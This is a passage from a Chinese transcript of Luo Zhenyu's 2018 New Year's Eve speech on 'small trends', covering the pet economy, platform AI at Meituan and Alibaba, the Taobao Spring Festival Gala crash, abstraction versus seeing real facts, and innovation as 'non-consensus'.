+很快，猫的另外一个优势被发现了。狗是需要人天天陪的，而猫呢，只要给够水、食物和猫砂，猫就可以自己在室内待上10天。如果你是一个上班族，生活没那么规律、偶尔需要出差、住在城市小格子公寓楼里，如果你要养宠物，那养猫是一个更方便的选择。 + +刚开始，这个差别还没有那么大，但是放在养宠物大潮下呢？这个差别会进一步放大。很多人不结婚，或者结了婚不生孩子，但是情感上需要陪伴，要养一个不怎么费心的宠物，猫和狗之间你怎么选？猫的优势被进一步扩大。 + +我们来看数据，全世界，今年猫砂的销售额是50亿美元左右。你就想吧，全世界围绕着猫、猫粮、猫爬架、猫抓板、猫沙发、猫玩具、猫医生、撸猫手套，是个多大的产业呀。而且，你还别觉得猫仅仅停步于此，猫还对一个你万万想象不到的产业做出了巨大的贡献：可爱猫咪的相关视频、图片，为互联网公司贡献了巨大的流量。说到这已经跟猫完全无关了，这变成了互联网公司的事，这个产业叫“云吸猫”。以至于中国最大的电商平台，叫天猫。看，大公司都在蹭猫的流量。 + +而所有这些趋势追溯到最源头，都是因为1947年艾德·罗伊发明了猫砂。你说，它是不是一个伟大的发明？ + +但是如果要求你在1947年猫砂发明的时候，就预测到云吸猫产业的爆发，甚至预测到现在有一个互联网平台叫天猫，这也实在是为难你吧？你看，小趋势是不是很难预测？ + +人类文明发展到我们今天看到的样子，在绝大多数情况下，都不是一个小变化越长越大，砰地一下，膨胀成了一个大变化。老天爷是个魔术师，是这个变化，引发了另一个变化，一层一层地传递过来的。 + +现在，我们就知道什么是“小趋势”了。它不是大趋势的小时候，它本身也未必能长成一个大趋势，它的威力是能启动连锁反应。 + +所以，现在我们可以给小趋势下一个相对准确的定义了。*小趋势是啥？小趋势是影响趋势的趋势，带来改变的改变。* + +![](/uploads/2019/01/02-04.jpg) + +## 4 + +小趋势这么玄，我们可咋办？小趋势这么容易错过，我这一错过是不是就成千古恨了呢？是啊，有人就是这么吓唬我们的。 + +前两年，想必你听到过一个说法，就是现在创业机会窗口关闭得越来越快，从三五年，到一两年，到三五个月。所以如果用跟趋势的思路，那你错过小趋势的概率就太高了。你会觉得，这个世界简直是巨无霸和幸运儿的天下，我们这样的小人物和小透明，打个盹就没机会了，只能被按在地上摩擦。是这样吗？这个世界对我们真的那么残忍么？机会真的那么难把握吗？ + +其实，你说得对，机会还真的就很难把握。我举个例子，证明给你看。 + +一般人看美团，看到的是个劳动密集的公司，但是直到今年，我和他的一位副总裁王莆中，他是负责外卖平台的，聊了个天，感到有点意外。王莆中84年出生，5年前，他管理20个人；现在，管理60万人。他是怎么做到的呢？ + +如果靠人，管理能力的提升肯定没这么快。只能靠系统啊。他们开发了一套叫做“超脑”的人工智能管理系统。这个系统的复杂程度，你只需要看几个数就能知道：美团每天有2000万单，要靠60万个外卖小哥配送，高峰期一小时要进行29亿次路径规划，全是这个超脑系统在干。没有人工智能，怎么可能？你还觉得人工智能远？但其实天天点开美团时我们都在用。 + +这已经很厉害了吧？这个系统是谁开发的、谁维护的呢？1万个工程师。这么多工程师，又怎么管理的呢？还得靠另外一套人工智能系统。 + +何止是美团。今天，市面上所有你叫得出名字的所有超级平台公司，都使用了人工智能这样的武器。 + +比如说，天猫双十一，用户在手机和电脑上看到的首页焦点图，每个人都不一样，千人千面。 + +刚刚过去的2018年双十一期间，这样的图，阿里巴巴设计了5亿张。那得用多少设计师呀？你算嘛，人类设计师就算能5分钟设计一张图，也得一个人不吃不喝不休息干上4756年。这不可能嘛。 + +这个千人千面的背后，是一个人工智能系统，设计这些图的是一个叫做“鹿班”的人工智能系统。平均每秒，鹿班可以设计8000张图。使用了这个系统之后，阿里巴巴首页焦点图的点击率提升了一倍多。你看，人家这人工智能的效率。这只是阿里巴巴这样的公司，人工智能系统的冰山一角，还有好多好多系统。 + +有一种被碾压的感觉吧？这就是巨无霸们赶上了大趋势的样子。如果你感慨错过了这样的大趋势，怎么办？我只能说你想多了。这种趋势只是少部分人才能感知和把握，绝大部分人都不能掌控这样的趋势。这已经不是我们能玩的游戏了。 + +但是我们能玩的是什么呢？还记得我们的主题吗？小趋势。还记得刚才我说的这句话吗？小趋势是影响趋势的趋势，带来改变的改变。 + +如果你觉得，现在这局游戏不是你的游戏，没关系，别打盹，*因为这局游戏是那些大佬的游戏，有可能产生的那个连锁反应会滚到你面前，改变你的游戏。*上一个窗口虽然关闭了，没准属于你的窗口，正在打开。 + +我要向你介绍一个朋友，前夜市烧烤摊摊主汪国玉。他开了一家餐厅叫南城香，专门卖夜市烧烤的。2014年南城香就是一家普普通通的餐饮企业，只有几家店而已。2015年美团崛起的时候，外卖大战开打，汪国玉可没觉得这个游戏跟自己没关系。他之前为外卖做的产品、配送、运营上的所有准备，都派上了用场。我直接告诉你结果吧。因为外卖这个趋势汪国玉把握住了，到今年，汪国玉的南城香每天光外卖就有2.5万单，一年的流水近6个亿。 + +现在我们来算一笔账，都说王兴、美团这种巨无霸把握住了趋势，没错，美团市值从40亿美元到3、400亿美元，增长到原来的10倍，大飞跃吧？但我们忘了给汪国玉的生意算一笔账，他借助别人的大趋势，作为自己的小趋势，流水5年翻了10倍，不也是一个大飞跃吗？你怎么就只看到王兴的10倍，没看到汪国玉的10倍？ + +是，赶上大趋势，做一个超级平台，这跟汪国玉没关系。但是，超级平台形成后，汪国玉们就迎来了他们的小趋势。影响趋势的趋势，带来变化的变化，他捕捉到了。他把它变成了自己命运的一部分。 + +在小趋势的逻辑里，我有一个坏消息和一个好消息要告诉你。 + +*坏消息是，每一趟班车停靠的时间都很短，而且看起来都像末班车。好消息是，真的没有末班车，车是一会儿一趟，越来越密。* + +都说干事得趁早。假设你想在网上卖东西，如果你回到2012年，你是个悲观主义者，你就会觉得没机会了。因为电商这件事在2012年以前就已经爆发了，那你看到已经有人成了，是不是就应该不干了？ + +你在2012年之前，没成为一个淘品牌，是不是就错过了？没有啊， + ++ 这一年的9月，微信公众号上线了，微信电商的春天就来了。 ++ 这波又没赶上。没事啊，2013年，淘宝开始扶持网红电商了呀。 ++ 这波您还没赶上。2014年，O2O开始了。 ++ 你还没赶上。2015年，社交电商开始了。 ++ 你仍然没有赶上。2016年，拼团开始了。 ++ 你还是没有赶上。2017年，直播电商开始了。 ++ 到了2018年您还没醒，我只能说有人已经醒了，这位快手散打哥，通过短视频一天带货1.6亿。 + +你说，这个机会窗口什么时候关闭过？只不过它不在大趋势里，打开它的只是一个个小趋势。 + +这说明啥？*总有新机会，总有下一班。哪有末班车？* + +## 5 + +我们再来对比一下，想靠上大趋势的人和想借上小趋势的人，两拨人的想法有什么不同。 + +想靠大趋势的人，他们的思维模式是：“要是怎样怎样，就好了。”要是我能考上好大学，就好了；要是我进了500强公司，就好了；要是十年前我买房了，就好了；要是五年前我买了比特币，而且今年上半年及时把它卖了，就好了。这背后的想法是，进个保险箱，上一趟快车，骑一匹快马，搭一艘大船，从此一生有靠、高枕无忧。 + +只要是个做事的人，你不觉得这就是做梦吗？ + +而想借小趋势的人呢？没有一劳永逸的想法。*他只是随时在做准备，把自己感知能力磨得锐利无比，随时等待、捕捉那个小趋势的信号的传来。* + +有一句金句，大家都知道：“凡杀不死我的，都让我更强大。”今天，我把这句话改一改，表达一下我们这帮小趋势信奉者的态度—— + +凡我赶不上的，我就做好准备，到未来等它。 + +# 第三部分：我能看到事实吗？ + +## 1 + +今天我们的任务，就是扪心自问：我们这批做事的人，能抓住小趋势吗？小趋势是什么？小趋势是影响趋势的趋势，带来改变的改变。 + +前面我们讲了，小趋势不能跟，不能追，靠感知。那怎么办？只能把问题的方向指向我们自己。也许今晚能通过一连串的问题，让我们找到抓住小趋势的方法。 + +这些问题我提个醒，都很扎心。 + +先问第一个问题：*所有趋势都起源于事实，想抓住小趋势，那就得能认清事实。那问题是，我们看得到事实吗？* + +我们和世界之间的真实关系，经常会被误解。 + +我的朋友梁宁给我讲了一个故事。2018年，她去大学校园做了一个调查，调查题目是：什么样的姑娘想整容？进校园之前，梁宁心里其实是有一个假设的，长得不好看的女生应该更倾向于去整容。换了我我也会这么假设。当然，梁宁多聪明，她会直接问吗？她策略性地改了一个问题，她问的是“长得不好看的人会不会自卑？”结果，她调查的每一个人，每一个人都说，“我怎么会知道？我相貌中等偏上”。请注意，是“每一个人”都这么回答。 + +如果你经常上网，会发现很多发帖子的人，只要谈到自己的相貌，都会说“楼主素颜7分，妆后8.5-9分”。 + +听完梁宁的这个发现，我心里默默地想，原来有这么多人，跟我一样，相貌中等偏上。 + +你的五官比例、你的身材尺码，这是真实世界。但是人人都觉得自己相貌中等偏上，那可就是感觉世界了。*感觉世界和真实世界，这中间有道鸿沟，而且还有两种力量在把这个鸿沟越拉越大。* + +在鸿沟这边有好多人，我们的亲妈、男朋友或女朋友、商店里的导购，还有美颜相机，他们总是夸我们，长得真好看。这使我们离真相越来越远。这条鸿沟的另外一边呢？其实真相自己，也在往后退，退得离我们越来越远。 + +比如，经常有朋友说，罗胖，我能不能去你们公司参观一下？我不是不欢迎大家来，但是参观什么？我们公司能被看见的只有三种东西：桌椅板凳、电脑设备，还有一堆你不认识的人。你以为我们有福特生产线吗？我们公司的那些真相，我想给你看，我又做不到。公司的真相，存在于那些一点都不神秘，但是很隐秘的地方，比如大家的交谈、眼神确认、邮件、微信群……这些看不到啊。 + +*真相未必神秘，但很隐秘。* + +## 2 + +我们回到真相和感知之间的鸿沟，一边是人类拼命努力，扭曲事实；一边是世界拼命努力，隐藏自己。感觉世界和真实世界就是这么分裂的。说到这，很多人肯定说，分裂就分裂了呗，从来如此，又不影响什么。 + +下面我说一个今年我丢脸的事。第一次跟别人说，知道这事的就算是自己人了。 + +话说去年的时候，也不知道哪来的勇气，有一天突然福至心灵，脑子一热，想到了一个大招可以推广我们公司的业务，推广得到App，那就是：咱能不能去央视春晚做一个广告呢？想法一出来，我们几个合伙人越想越兴奋。你想，这么一个小App要是上了春晚，在全国人民面前一展示，那效果，那流量，那收入。广告还没做呢，哈喇子就流了一地。因为我们确实知道春晚的广告效应。 + +我们特别认真，下了好大的决心，把公司账上的每个钢镚都数了一遍，觉得还行，基本能够着春晚广告的门槛，咱得All in呐。怕央视瞧不上我们，我们还就怎么做这个广告，想了好多主意，都很妙。做了精心的准备之后，我们正式去拜访了央视广告部。我们心里那个口号，你是很熟悉的：“我要上春晚。”好多胖子都喊过这话。 + +广告部的领导也接见了我们，很客气，但是会谈之中感觉很怪，人家就是不跟你谈价格的事，话里话外，就是不接我们这单。我就有点着急了，瞧不起我咋地？哥们真不差钱。 + +被我的上进心逼急了之后，广告部的领导语重心长地跟我说：“振宇啊，特别感谢你对我们的信任，但是互联网公司要想上央视春晚，有一个小门槛，达到才有的谈。标准很简单，互联网产品日活得过一个亿，要不然，广告出来的那一瞬间，你的服务器就会崩掉。你崩掉了我们也没法对全国观众交代。 ” + +![](/uploads/2019/01/02-05.jpg) + +这一口气就给我憋在那了。这个标准确实简单，但我们也确实做不到，只好臊眉耷眼地回去了。 + +过了两个月，春晚的招标结果出来了，中标的果然是一个日活超过一个亿的互联网产品，大家伙，不能更大了——淘宝。输给它，我服。央视的领导没骗我。人家确实在技术上接得住，有保障。你想啊，双十一那么大的事，人家不都平稳地过来了吗？ + +又过了俩月，就过年了。你猜怎么着？春晚一开演，淘宝就崩了。大公司也没扛住啊。那一刻，我才知道我躲过了什么，央视的领导对我那是真爱护啊。有句话说，世界上最悲惨的事情是，钱花光了，人还在。但是，我后来才知道，*世界上更悲惨的事是，花光自己的钱，搞崩了自己的产品，人还在。* + +![](/uploads/2019/01/02-06.jpg) + +回到2018年的春节，看看除夕那天晚上到底发生了什么。 + +后来，我看到淘宝自己的总结，他们知道春晚的流量大，他们还推导了各种极端情况，最终决定稳妥起见，在2017年双十一的基础上，再扩容3倍。结果是什么呢？春晚当晚登录的实际峰值，超过了双十一的15倍。 + +他们的团队对此的感慨是，我们真的对春晚的力量一无所知。这个事件折射了什么？*折射了我们经常对真相一无所知。* + +这就是我震惊的全部吗？不是。后来我们听说，当天淘宝的客服电话被打爆了，这个在意料之中，但是有一件事是意料之外，三分之一的客服问题是：买东西怎么填地址？这说明一大批从来没有用过淘宝的人，被春晚从中国的社会结构中翻出来了。 + +这还不是我震惊的全部。那些不会填地址的人，打客服电话问啥？他知道自己在哪个省，也知道自己在哪个村、哪个镇，但是说不清楚自己在哪个市。这说明啥？通过春晚，淘宝突然涌进来了一批没怎么离开过家乡的人。这感觉我打个比方你就明白了，你到外地住个酒店，你知道自己在哪条街上，也知道自己在哪座城市，但你不知道自己在哪个区。 + +这就是「得到」、春晚和淘宝的故事。 + +故事说完了。来看看我们遭遇了什么。过去，至少在我身边，大部分人是不缺席双十一的，至少会关注一下，倒是说自己现在已经不看春晚的人很多。很多人会感觉中国大部分人都参加双十一，但是会觉得越来越少的人在看春晚。但这是事实真相吗？事实正好是反过来。要看春晚的人，比参与双十一的人多得多。这个真相你看不到，你会把自己搞崩的，不仅是自己把自己搞崩，阿里这样的大公司也会把自己的服务器搞崩。 + +你看，看到事实有多难？ + + +## 3 + +在我们这样的大国，经常会有这样的错觉。 + +我经常提醒我们公司的同事，*你们千万别把自己当主流，要对自己的趣味保持一种警醒和谦卑，不要动不动就以己度人。* + +![](/uploads/2019/01/02-07.jpg) + +比如，我们每个人身边都有好多大学生吧？但是你想过一个问题没有，大学毕业生占我们这个国家人口的总和，也就5%。换句话说，至少有13亿人没有大学毕业文凭。你之所以觉得大学生多，可能是因为你生活在大城市，也可能是因为你很年轻。这并不是说上了大学就怎样，而是说这个世界和你默认的事实不一样。 + +媒体人沈帅波有这样一句话：“在中国，再众所周知的事情，都起码有一个亿的人不知道，而大多数时候，是十个亿的人都不知道。” + +![](/uploads/2019/01/02-08.jpg) + +我们很容易忘记，我们生活在一个庞大的、远超过自己感知力的共同体当中。这使得我们想要接近事实的真相，变得难上加难。 + +那怎么办呢？为了看清事实，我们人类有一项本事，就是给自己发明了很多工具。问题是，工具发明越来越多，但这些工具到底是让我们离世界越来越近，还是越来越远呢？ + +我来说一个2018年我最开脑洞的时刻。 + +除了「得到」，我们还有一个少年得到App，里面有一个给孩子讲数学的栏目，叫《数学有意思》，作者是林欣浩老师。 + +林欣浩问了一个问题：请问等号是什么意思？是左右两边完全一样的意思吗？不。*等号的意思是，有些东西不重要。*听着有点匪夷所思啊。 + ++ 比如，我说1+2=2+1，这其实是在说，总数才重要，次序不重要。 ++ 比如，我说你家3个人，我家3个人，加起来等于6个人。这其实是在说，规模才重要，大家之间彼此那个具体关系不重要。 ++ 比如，我们说考个好专业等于工作有保障。这其实是在说，收入才重要，你的爱好不重要。 + +每当我们用到等号这个工具的时候，其实我们背后都有一句潜台词：有些东西不重要。 + +所以你看，等号的一边是事实，一边是根据某种原则的抽象。真实世界的很多东西，被等号全丢掉了。 + +我们从小就认识的等号，听了这节课之后，我发现，我其实并不懂它。何止是等号，我们从小到大，认的每一个字、读的每一本书、懂的每一个道理、受的每一次教育，认识了多少和等号类似的东西，其实就是一个把真实世界抽象化的过程。过程中，有大量的东西被丢掉了。 + +这就是人的宿命，我们的心智成长一直伴随着这个过程，一边得到，一边丢掉。刘润老师正在为「得到」做一门新课，专门讲商业洞察力的，他说：*“不抽象，我们就无法深入思考；不还原，我们就看不到本来面目。”* + +你发现没有，刘润老师讲的前半句话，我们一点都不陌生。我们一路受教育过来，就是学这个。但是后半句话，“不还原就看不到本来面目”，我们没地方学。 + +这个还原能力重要得不得了，没有这个能力我们不能行动。 + +相过亲的人都知道，介绍人拿出一张纸条，上面写着对方的身高、年龄、收入、学历、工作、爱好，甚至还有相片，你要任何数据我都能给你，但是你能根据这些数据，决定跟对方结婚吗？不能吧。你怎么也得跟对方见个面、吃个饭、处一段时间试试。这就是抽象和还原，两个都不可或缺。 + +我们再来看，比如说扶贫，在抽象世界里，这件事简单到不能再简单，有人缺钱，给他们钱嘛，顶多细化到咱们定一个标准，划一道贫困线。在这个逻辑里，唯一的难题，就是钱够不够。但是，如果你有还原能力的话，也就是说你要干具体事的话，你就会发现，事情绝不这么简单。 + +假设我是一个基层的扶贫干部，我手里的工具是很明确的，一个是扶贫政策，一个是各家各户的收入统计，只有这两样我能干活吗？不行。我遇到的问题不是抽象的政策和抽象的数字之间的对比关系，我遇到的问题往往是这样—— + ++ 一家人收入高于贫困线，但是家里有一个瘫痪在床的病人，要不要纳入扶贫名单？ ++ 一家人收入低于贫困线，但是家里有三个壮劳力，整天在家打游戏，该不该直接发他们救济金？ ++ 还有一家人，今年收入比去年多了几百块，抽象地看数字，算脱贫了。但这个变化有可能是因为农产品价格上涨等偶然因素，他自己并没有觉得生活水平有本质的变化。要把他从扶贫名单上划掉吗？ + +你看，我必须把扶贫政策，还原成每一个家庭的真实情况，才能开展工作啊。 + +事实上，中国的扶贫工作已经到了最后的攻坚阶段，剩下的更多就是这样的问题，这个时候你光拿钱有用吗？光给原则有用吗？没用。那怎么办？就得靠一线的扶贫工作者把抽象的原则，还原为世界的真实面目。现在战斗在扶贫一线的人，不容易。除了善良，这真的需要能力。 + +你看，看到事实有多难？ + +过去，我们以为能把世界抽象化，这是个很大的本事，因为你能用一个很高明的、很简洁的抽象模型来解释这个世界，那是最了不起的事，那是牛顿和爱因斯坦式的成就。但是，对做事的人来说，使命不止于此。*还原能力才是做事的人，逼近事实真相、把握小趋势最稀缺的能力。* + +## 4 + +还原能力，就是我们逼近事实真相的一副眼镜。戴上了这副眼镜，你看待世界，评估价值的标准就完全不一样了。 + +举个例子，我们经常说两个行业，一个是服务业，一个是制造业，听起来很对等。我们假设它们产出的GDP相等，你说，哪个行业价值更大？你可能会说，既然GDP一样，那价值就一样。得出这个结论，是因为你鼻子上架着的是一副抽象的眼镜，你把产业抽象成了GDP数字，所以你觉得它们一样。我们如果换一副眼镜，还原的眼镜，再来看看这个问题，答案会变。 + +服务业和周边社会要素的连接没有那么强。所以，在一个贫穷的国家，你能看到一座豪华的五星级酒店，你也能看到一个不错的软件园，你还能看到一个国际银行的地区总部，这些都很正常。它们都可以在某道围墙里做生意，不需要和周边社会打什么交道。 + +如果是一个制造业的园区呢？它对真实世界会提出苛刻的要求：得有运转良好的港口道路、良好的社会治安、稳定的税收和行政方面的治理能力；得有劳动技能、劳动态度都良好的工人；有稳定的能源、原料、供应；还得有周边的居住、餐饮、医疗、教育等配套设施…… + +一座工厂，它必须连接一个真实世界。我们甚至可以说，一个国家制造业水平的高低，本身就是它社会治理能力的晴雨表。说到这，你就明白了，为什么中国经济不能过度虚拟化。不是虚拟产业不好，而是制造业不能丢。*制造业是我们构建一个真实的、良好社会的压舱石。* + +![](/uploads/2019/01/02-09.jpg) + +我们再看，制造业和服务业，如果你看到抽象的表层，它就是个数字。但是你往底下看，如果你真的有看到事实的能力，你就会看到更多的人的因素，数字就有了区别。再往下看，它们体现为不同的人和人之间的关系，这个差别就更大了。越往底下看，越往真实世界走，这个差别就越大。你看得越深，就会发现它们在这个社会的存在感大小是不一样的。这就是戴上还原这副眼镜的意义。 + +顺便回答一个问题，2018年很多人都担心：我们的经济增长曲线会不会一个倒栽葱往下走？ + +你要是天天刷朋友圈、天天看评论家的分析，你就会觉得这个可能性真的有。 + +但是我要提醒你，这个问题一点都不新鲜，过去一两百年很多人都问过。 + +那怎么办？换一副还原的眼镜。就刚才的方法，回到真实世界，往下看一眼。 + +金融学家香帅给我看了一张图，这是过去两千年人类社会GDP发展的曲线，你看有没有过倒栽葱？ + +你说两千年跨度太大，不说明问题，来，咱们再看过去一百年： + +你能看到第一次世界大战、1929年全球经济大萧条、第二次世界大战，还有石油危机、2000年互联网泡沫、2008年金融危机……你看，当一些大事发生的时候，经济的发展会受影响，短期的波动会有，但是一个鹞子翻身就接着往上走。你何尝见过倒栽葱式的陡然下滑？ + +真的没有。一件历史上从来没有发生过的事情，你非说今年或者明年就会发生，你非说我们这一代人眼下就会遇上，你怎么说服我相信呢？ + +现在很多人的感受，就好比你住在一栋100层大楼的第100层。突然，你的隔壁开始装修，动静很大。一会儿砸墙，一会儿电钻，你确实感到很混乱，怀疑楼要塌。但是只要你往下一看，发现就我这层装修，底下99层都没事，稳如泰山。你担心个啥？ + +说到我们中国的基本面，你只要看到中国的基本现实，它就不再是那个数字。*中国是什么？它是好多好多全世界最勤奋、最想通过努力改变命运的一群人组成的。*有了这个对真相的把握，你担心个啥？ + +## 5 + +巴菲特还有一个提醒：没有一个人可以靠做空自己的祖国成功。他为什么这么说？这不是在讲什么爱国主义，而是说每一个人的成功，都是在分享一个共同体的红利。我们一生的所有红利，其实都来自于这样一条经济增长曲线。 + +尤其是对于我们中国人来说，我们的祖先埋骨于此，我们的血脉扎根于此，我们青春在此，也将终老于此，除了盼着它好、相信它好。我们还有什么更好的办法吗？ + +*最聪明的做法，就是做一个理性乐观派。*只有这个选择既符合我们的理性，也符合我们的情感，还符合我们的利益。 + +回到这部分的主题，我想说的是：还原的力量极其重要，但是很容易被忽略。那么问题来了，我们怎么拥有这种还原的能力呢？ + +没办法，上半场确实没怎么学过如何还原，所以要求我们开始下半场的修行。上半场的修行，更多是抽象和简化；下半场的修行，就得加上还原和丰富。 + +其实修行的具体方法早就有人说过了，就是六个字——*多元思维模型*。让很多种认识世界的模型在自己的脑子里并存。 + +今年我们试验了一个新的项目，叫得到大学。有人说得到大学是商学院，是培训班，错了。那些事有人做得很好，不需要得到大学再来做一遍。得到大学做的是一件全新的事，它是为做事的人提供解决具体问题的方法。所以得到大学最核心的教学内容，就是多元思维模型。 + +这所大学现在已经招收了第0期的实验班。招生特别严格，第0期的入学率是3%。为什么这么精挑细选？原因其实很简单。因为在我们看来，我要找的不只是一个学生，他一定是某个行业的高手。他身上就自带这个行业独特的思维模型，当我们把他招到得到大学来，当这些人以极高的浓度交织在一起，就构建出了一个庞大的、丰富的思维模型交流场。现在可以向大家报告，我们的实验班，第0期277名学员，现在都快毕业了。 + +正如我们刚开始所预想的，这所学校里发生了一些奇妙的效应—— + ++ 在它里面，一位医生会分享，如何在信息不完备情况下，做出性命攸关的决策； ++ 一位特种兵会分享，怎么建立集体心流，打造一个有战斗力的组织； ++ 一位核电站的总工程师会分享，怎么运行一个超大型项目； ++ 一位研究精益管理的工程师会分享，怎么优化一家卖兰州拉面的夫妻店； ++ 一位火箭设计师会分享，怎么用湍流原理理解股市…… + +平时，这些人都生活在你的圈子之外。但是在得到大学，他们会带来各自在职业中养成的思维模型，大家在一起互相享用、彼此嵌入。 + +还记得我们这部分一开始问的那个问题吗：为了抓住小趋势，我能看到事实吗？ + +现在我可以回答这个问题了：能，如果你掌握多元思维模型。 + +说到这，你才会明白为什么我特别喜欢菲茨杰拉德的一句话：*“一个人能同时保有全然相反的两种观念，还能正常行事，是第一流智慧的标志。”* + + + +# 第四部分：我能感知“非共识”吗？ + +## 1 + +多年之后，关于2018年的这场跨年演讲，也许你什么都不记得，但是，我特别希望你还记得下面这句话：*决定我们个体命运的，除了众所周知的大趋势，更是那种需要我们自己去主动发现的小趋势。* + +为了更精准地感知小趋势，刚才我们自问了第一个问题：我看到事实了吗？那么现在我们开始扎心第二问：*我能感知“非共识”吗？* + +听到“非共识”这个词，挺陌生，今年是梁宁把这个词带到了我面前。 + +梁宁告诉我，“非共识”这个词在她脑子里面一直挥之不去。这是她对什么是创新的一个解释。我第一次听到这个词的时候觉得，就这仨字能在你脑子里绕一年？这不是一个很浅白的词么？创新不就是别人没想到，我想到了，我想到的和大家不一样。你们的那都是共识，我的这就是非共识。 + +梁宁说，这一年，我见过的绝大部分人跟你的反应都一样。以为非共识就是跟这个世界抬杠，抬杠谁不会，见什么骂什么，看什么都不顺眼，什么都想否定。那不叫“非共识”，那叫“反共识”，反共识搞长了，是自绝于人类。那怎么会是创新呢？ + +梁宁讲的非共识，是个微妙得多的概念，是在原来社会的共识里面，突然有了跟大家有了不一样的想法。请注意，这没有完。那个瞬间有点像孩子离开母体、分娩降生那一刻。孩子的感受是，这一刻受到了母亲的排斥，来到孤独的、寒冷的世界，他感受到的这种压力，压得他要大声啼哭。但很快他就会被母亲拥入怀抱。所以，这是两个过程完整地、连续地被接在了一起。*从被排斥到被承认，从脱离共识到再造共识。整个过程，才叫非共识。* + +![](/uploads/2019/01/02-10.jpg) + +这好像是在讲一个陌生的词。但其实，各行各业都在用不同的角度、不同的话诠释这个非共识时刻。 + +比如，投资人张磊就说过一个词，叫“傻瓜窗口”。什么意思？就是在某一段时间里，大家觉得你的商业模式非常不靠谱，非常傻。这就对了呀。在别人看不起、看不懂、觉得你不靠谱的这段时间，你有机会积累用户、试错，并且创造出一定的壁垒。紧接着，有人认可了。这段时间叫“傻瓜窗口”。 + +政治家罗斯福也有一句话：“你一心想领导人们前进，回头一看，跟着的人却一个都没有，真可怕呀。”伟大的政治家从来如此。从自己提出一个主张，到发现没人跟这个可怕的时刻，到众多的人追随，你成了领袖的这个时刻——这段时间窗口，也是非共识。 + +我们这一代人提起创新总觉得特别高大上，或巧妙新奇，或震古烁今，一旦出现，大家恍然大悟，疯狂鼓掌。但是在实际情况真的是这样么？创新者往往承受了超出想象的压力。*梁宁之所以说创新过程是一个“非共识”的过程，是想强调，穿破当下共识难，承受当下共识的压力更难。* + +从事后看，成功者的路上，那是一个正确连着一个正确，一个胜利接着一个胜利，但这是事后看。如果从过程中看，你就会发现，在他的路上，那是一个非共识连着一个非共识，甚至在别人看来，是一个错误接着一个错误。在他自己看来，是一个压力连着一个压力。 + +今年我经常跟人谈起印刷术。印刷术是中国人发明的，我们很自豪，在木板上刻字、刷上油墨、盖上纸，不复杂。但这事不能细想。 + +中国人至少在汉代就已经有了一项传统，把经书刻在石碑上，刷上墨水，拿纸把它拓下来，把经书复印走。那你说这和印刷术有什么区别呢？你非要说区别的话，它跟印刷的区别，就是一个竖着放的板，和一个横着放的板，就这么点区别。捅穿这么一层窗户纸，用了400年。 + +从汉代到唐代，漫长的400年啊。我们老祖先在干什么啊？他们脑筋怎么就这么慢，怎么就捅不破这层窗户纸呢？ + +再一深想更可怕，中国人在几千年前就会刻印章了。印章不也就是在木头或者石头上刻好字、刷上油墨、盖在纸上、把字复印出去的技术吗？它和雕版印刷的区别好像也不大，一个是纸在上面，一个是纸在下面。为什么从印章到雕版印刷术居然花了好几千年？ + +是我们中国人笨吗？好几千年才让纸换个姿势。不，就这还是中国人老祖宗先发明的。就隔着一层窗户纸，几千年都盼不来那一线划过它的光明。你就说，创新难不难？ + +所以我们必须要回到创新的现场，才能观察创新。才能感受到那种真实的艰难，和突破之后的震撼。*每一项创新，在它诞生的那一瞬间，都好像是突然点亮了一盏灯，照亮了长夜。* + +![](/uploads/2019/01/02-11.jpg) + +我们现在生活在一个创新层出不穷的时代。每天都有好多创新，不是说创新容易，只不过这样的点灯时刻变得越来越多而已。我们今天看到的一个明朗的白昼，其实是由无数盏这样的灯彼此辉映而成的。 + +就在我自己这短短几年的创业历史上，其实就感受过好几个这样的时刻。 + +## 2 + +你现在看到的，是早期的《罗辑思维》视频节目的一个截屏。 + +今天，你在互联网上看到的，绝大部分视频脱口秀都长这样，你觉得这很正常。但是你有没有想过，2012年之前，我们几乎从来没有看到过这样的镜头。为什么呢？ + +我们是做电视节目的，如果用这样的镜头，电视人学的所有本事就全撂下了。电视人学的是什么？那叫视觉艺术，用画面表达思想。谈到景别是远全中近特，谈到镜头运动是推拉摇移跟，还有蒙太奇、场面调度、平行剪辑等等。 + +如果电视节目都是这样的画面，一镜到底，所有这些镜头视觉技法，一概用不上。一个干了十几年电视节目的人，是很难想象这样的形式的。 + +就像一个武术家，练的是刀枪剑戟、斧钺钩叉、镗棍槊棒、鞭锏锤抓、拐子流星，一夜之间，都不让我用了，只让我用眼神。你说我怎么想得出来一套武功是不用我学过的任何手艺的？ + +关于做《罗辑思维》这件事我很多年前就想清楚了，做什么，为什么做，大概怎么做。但是，它具体该是个啥样子呢？不知道。就隔一层窗户纸。为什么？因为我被困在我10年的电视经验中，被困在这个行业原来的共识中，所以我没能找到那个非共识时刻。 + +那种困扰，其实我们每个人都体会过。比如说，有一次我去装修市场买窗帘，卖窗帘的给我一个大本本，里面有好几百种窗帘的小样，质地能摸，花纹能看，颜色能挑。但是我就是懵的，没法挑，不到窗帘挂在窗户上的那一瞬间，我还是不知道这个窗帘究竟好看不好看、合适不合适。我没有那个想象力。这个感受，看着只隔了一层纱，其实隔着的是一座山。 + +回到刚才我们说的那个话题，那后来我怎么又能想到《罗辑思维》这个画面呢？在这里，我要正式感谢一下高晓松。 + +2012年3月16号，《晓说》上线的那一天，这就是我通过非共识、抓住小趋势的那个时刻。后面的故事你都知道了。 + +再举个例子，2015年8月，我们公司想做个新产品，拉了个群。我把自己的好多设想，关于这个产品的很多描述，在里面说了又说、讲了又讲，但是包括我在内，所有人都是懵的，因为我们并不知道这个东西最终做出来是什么。我们只好取了一个群名，叫“音频怪物产品群”。“音频”这两个字，是我们当时唯一想清楚的东西，但是“怪物”这两个字，才能表达当时我们所有同事对它的感受。 + +三个月后，2015年11月，这个产品上线了。那就是你们都知道的得到App。来，看一下它的样子，你觉得它像个怪物吗？ + +几年之后，当得到App被市场初步认可之后，我知道了两件事： + +*第一，一个创新的想法，在它冒头的那一刻，连亲爹亲妈都觉得它是个怪物；* + +*第二，如果它后来不被社会接受，它就真的是个怪物。* + +这两个逻辑结合起来理解，才是梁宁说的“非共识”。 + +英国科幻作家道格拉斯·亚当斯，也就是《银河系漫游指南》的作者，他有个说法，叫“科技三定律”—— + +“任何在我出生时已经有的科技，都是稀松平常的世界本来秩序的一部分。任何在我15-35岁之间诞生的科技，都是将会改变世界的革命性产物。任何在我35岁之后诞生的科技，都是违反自然规律，要遭天谴的。” + 